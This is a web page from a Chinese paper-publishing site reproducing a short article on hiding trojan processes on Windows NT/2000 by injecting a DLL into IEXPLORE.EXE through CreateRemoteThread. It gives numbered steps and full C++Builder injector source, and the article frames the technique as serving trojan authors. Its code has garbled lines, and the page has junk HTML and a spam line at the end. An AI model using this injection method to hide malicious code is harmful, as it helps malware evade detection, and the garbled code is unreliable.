<form id="flnxx"><th id="flnxx"><th id="flnxx"></th></th></form>

<noframes id="flnxx"><address id="flnxx"><nobr id="flnxx"></nobr></address>

      <address id="flnxx"><address id="flnxx"><nobr id="flnxx"></nobr></address></address>

      <address id="flnxx"></address>

      <address id="flnxx"></address>

      <form id="flnxx"></form>

      國內或國外 期刊或論文

      您當前的位置:發表學術論文網電子論文》 電子類核心期刊論文Windows系統下進程的隱藏> 正文

      電子類核心期刊論文Windows系統下進程的隱藏

      所屬分類:電子論文 閱讀次 時間:2015-09-14 15:48

      本文摘要:把WIN64AST舊版本的進程隱藏功能獨立出來了,單獨做了個小工具。無需.NET,但是需要認真閱讀文檔才能使用,下面小編推薦一篇進程隱藏的電子論文。 摘要:進程的隱藏一直是木馬程序設計者不斷探求的重要技術,本文采用遠程線程技術,通過動態鏈接庫方法,較好

        把WIN64AST舊版本的“進程隱藏”功能獨立出來了,單獨做了個小工具。無需.NET,但是需要認真閱讀文檔才能使用,下面小編推薦一篇進程隱藏的電子論文。

        摘要:進程的隱藏一直是木馬程序設計者不斷探求的重要技術,本文采用遠程線程技術,通過動態鏈接庫方法,較好地解決了這一問題,通過遠程線程將木馬作為線程隱藏在其他進程中,從而達到隱藏的目的。

        關鍵字:進程 線程 木馬 動態鏈接庫

        木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序,由于木馬程序是運行在遠程主機上,所以進程的隱藏無疑是大家關心的焦點。

        本文分析了Windows NT/2000系統下進程隱藏的基本技術和方法,并著重討論運用線程嫁接技術如何實現Windows NT/2000系統中進程的隱藏。

        1 基本原理

        在WIN95/98中,只需要將進程注冊為系統服務就能夠從進程查看器中隱形,可是這一切在Windows NT/2000中卻完全不同, 無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過Windows NT/2000的任務管理器,Windows NT/2000的任務管理器均能輕松顯示出木馬進程,難道在Windows NT/2000下木馬真的再也無法隱藏自己的進程了?我們知道,在WINDOWS系統下,可執行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進程,尋找特定進程是我們發現木馬的方法之一,隨著入侵檢測軟件的不斷發展,關聯進程和SOCKET已經成為流行的技術,假設一個木馬在運行時被檢測軟件同時查出端口和進程,我們基本上認為這個木馬的隱藏已經完全失敗。在Windows NT/2000下正常情況用戶進程對于系統管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統管理員看不見你的進程;第二是不使用進程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中,遠程進程則是合法的用戶程序,這樣用戶管理者看到的只是合法進程,而無法發現木馬線程的存在,從而達到隱藏的目的。

        2 實現方法

        為了弄清實現方法,我們必須首先了解Windows系統的另一種"可執行文件"----DLL,DLL是Dynamic Link Library(動態鏈接庫)的縮寫,DLL文件是Windows的基礎,因為所有的API函數都是在DLL中實現的。DLL文件沒有程序邏輯,是由多個功能函數構成,它并不能獨立運行,一般都是由進程加載并調用的。因為DLL文件不能獨立運行,所以在進程列表中并不會出現DLL,假設我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現那個進程而并不會出現木馬DLL,如果那個進程是可信進程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員,也就達到了隱藏的目的。

        運行DLL方法有多種,但其中最隱蔽的方法是采用動態嵌入技術,動態嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說,在Windows中的每個進程都有自己的私有內存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們仍然可以利用種種方法進入并操作進程的私有內存。動態嵌入技術有多種如:窗口Hook、掛接API、遠程線程等,這里介紹一下遠程線程技術,它只要有基本的進線程和動態鏈接庫的知識就可以很輕松地完成動態嵌入。

        遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。我們知道,在進程中,可以通過CreateThread函數創建線程,被創建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,被創建的遠程線程同樣可以共享遠程進程(是遠程進程)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內存地址空間,也就擁有了那個遠程進程相當的權限。

        3 實施步驟

        1) 用Process32Next()函數找到宿主進程,獲取宿主進程ID,并用

        OpenProcess()函數打開宿主進程。

        2) 用VirtualAllocEx()函數分配遠程進程地址空間中的內存。

        3) 用WriteProcessMemory()函數將待隱藏的DLL的路徑名。

        4) 拷貝到步驟二已經分配的內存中。

        5) 用GetProcAddress()函數獲取LoadlibraryA()函數的實地址(在kernel32.dll中)。

        6) 用CreateRemoteThread()函數在遠程進程中創建一個線程。

        7) 它調用正確的LoadlibraryA()函數。

        8) 為它傳遞步驟二中分配的內存地址。

        4 具體實例

        下面是在C++Builder 4.0環境下編寫的運用遠程線程技術隱藏木馬的程序代碼:

        #include

        #include

        #include

        #include //該頭文件包涵了進程操作的API函數

        #pragma hdrstop

        #include "Unit1.h"

        #pragma package(smart_init)

        #pragma resource "*.dfm"

        Insisting pszLibFileName;//存放待隱藏的DLL文件名

        HANDLE hProcessSnap=NULL;//進程快照句柄

        HANDLE hRemoteProcess;//遠程進程句柄

        LPVOID pszLibFileRemote;//遠程進程中分配給文件名的空間

        HMODULE phmd;//存放kernel32.dll句柄

        HANDLE hRemoteThread1=NULL;//存放遠程線程句柄

        TForm1 *Form1;

        //---------------------------------------------------------

        __fast call TForm1::TForm1(TComponent* Owner)

        : TForm(Owner)

        {

        }

        //---------------------------------------------------------

        void __fastcall TForm1::Button1Click(TObject *Sender)

        {

        PROCESSENTRY32 pe32={0};

        DWORD dwRemoteProcessId;

        hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

        //打開進程快照

        if(hProcessSnap==(HANDLE)-1)

        {

        MessageBox(NULL,"CreateToolhelp32Snapshot failed","",MB_OK);

        exit(0);

        } //失敗返回

        pe32.dwSize=sizeof(PROCESSENTRY32);

        if(Process32First(hProcessSnap,&pe32)) //獲取第一個進程

        {

        do{

        AnsiString te;

        te=pe32.szExeFile;

        if(te.Pos("iexplore.exe")|| te.Pos("IEXPLORE.EXE"))

        //找到宿主進程,以IEXPLORE.EXE為例

        { dwRemoteProcessId=pe32.th32ProcessID;

        break;

        }

        }

        while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程

        }

        else

        {

        MessageBox(NULL,"取第一個進程失敗","",MB_OK);

        exit(0);

        }

        hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

        _OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

        //打開遠程進程

        pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

        // 假設hide.dll是待隱藏的進程

        int cb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度

        pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

        MEM_COMMIT,PAGE_READWRITE);

        //申請存放文件名的空間

        BOOL ReturnCode=WriteProcessMemory(hRemoteProcess,

        pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

        //把dll文件名寫入申請的空間

        phmd=GetModuleHandle("kernel32.dll");

        LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE)

        GetProcAddress(phmd,"LoadLibraryA");

        //獲取動態鏈接庫函數地址

        hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

        pfnStartAddr,pszLibFileRemote,0,NULL);

        //創建遠程線程

        if(hRemoteThread1!=NULL)

        CloseHandle(hRemoteThread1);//關閉遠程線程

        if(hProcessSnap!=NULL)

        CloseHandle(hProcessSnap);//關閉進程快照

        }

        該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。

        至此,遠程嵌入順利完成,為了試驗我們的hide.dll是不是已經正常地在遠程線程運行,我同樣在C++Builder4.0環境下編寫并編譯了下面的hide.dll作為測試:

        #include

        #include

        #pragma hdrstop

        #pragma argsused

        BOOL WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)

        {

        char szProcessId[64];

        switch(reason)

        {

        case DLL_PROCESS_ATTACH:

        {//獲取當前進程ID

        itoa(GetCurrentProcessId(),szProcessId,10);

        MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

        break;

        }

        default:

        }

        return TRUE;

        }

        當使用RmtDll.exe程序將這個hide.dll嵌入IEXPLORE.EXE進程后假設PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具

        也能看到:

        Process ID: 1208

        C:\WINNT\IEXPLORE.EXE (0x00400000)

        ……

        C:\WINNT\hide.dll (0x100000000)

        ……

        這證明hide.dll已經在IEXPLORE.EXE進程內正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。

        5 結束語

        進程隱藏技術和方法有很多,而且這一技術發展也相當快,本文僅從一個側面加以討論,希望通過這一探討讓我們對進程隱藏技術有一個更清楚的認識,同時也為我們防范他人利用進程隱藏手段非法入侵提供參考,本文拋磚引玉,不當之處誠懇批評指正。

        參考文獻

        1 Jeffrey Richter著 王建華、張煥生、侯麗坤等譯 Windows核心編程 機械工業出版社2

        K.賴斯多夫 H. 亨德森著 希望圖書創作室譯 Borland C++ Builder 實用培訓教程.

        小編推薦優秀電子期刊 《計算機輔助工程

        《計算機輔助工程》是上海海事大學主辦的學術性刊物,創刊于1992年,是我國計算機界與工程界的重要學術性刊物之一。本刊主要刊登計算機技術及其應用和相關領域的學術論文,如計算機輔助設計與圖形學技術及應用、專家系統、知識工程、計算機網絡與通信、分布式系統、計算機軟件與理論、程序設計語言、操作系統、數據庫、計算機輔助教學、制造業信息化、物流工程信息化、交通運輸工程信息化、信息管理技術及應用、人工智能技術及應用、電氣自動化等領域的文章,以及有價值的研究報告和研究簡介。

      轉載請注明來自發表學術論文網:http://www.keysida.com.cn/dzlw/4455.html

      三级三级三级全黄